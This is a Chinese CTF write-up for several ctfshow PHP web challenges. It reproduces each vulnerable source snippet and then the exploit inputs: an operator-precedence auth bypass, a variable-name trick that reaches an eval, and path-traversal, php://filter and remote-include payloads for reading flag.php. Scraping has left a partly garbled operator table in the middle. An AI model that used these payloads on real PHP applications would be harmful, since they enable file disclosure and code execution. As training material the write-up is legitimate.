<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}
结合方向 运算符 附加信息
clone new clonenew
[ array()
** 算术运算符
++ ~ (int) (float) (string) (array) (object) (bool) @ 类型递增/递减
instanceof 类型
! 逻辑运算符
** / %* 算术运算符
+ - . 算术运算符字符串运算符
<< >> 位运算符
< <= > >= 比较运算符
== != === !== <> <=> 比较运算符
& 位运算符引用
^ 位运算符
*\ * 位运算符
&& 逻辑运算符
*\ \ * 逻辑运算符
?? 比较运算符
? : ternary
right = += -= = = /= .= %= &= \ = ^= <<= >>=* 赋值运算符
and 逻辑运算符
xor 逻辑运算符
or 逻辑运算符
1
2
3
4
5
6
7
8
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

要求传入值为字符型

先运算&& 后运算||

前面的运算为真假没关系 只要保证$username ===”admin”为真就可以

或运算一真则真

1
url/admin/?username=admin&password=a&code=admin

2021/8/26

web123

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
1
2
3
4
5
6
POST : CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM

web129

源码:

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

要求$f中出现ctfshow 且不能在开头出现

然后读取$f

方法一
1
?f=0ctfshow/../../../../var/www/html/flag.php
方法二
1
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
方法三
1
?f=http://xxx.com/ctfshow.php  //readfile可远程包含服务器的木马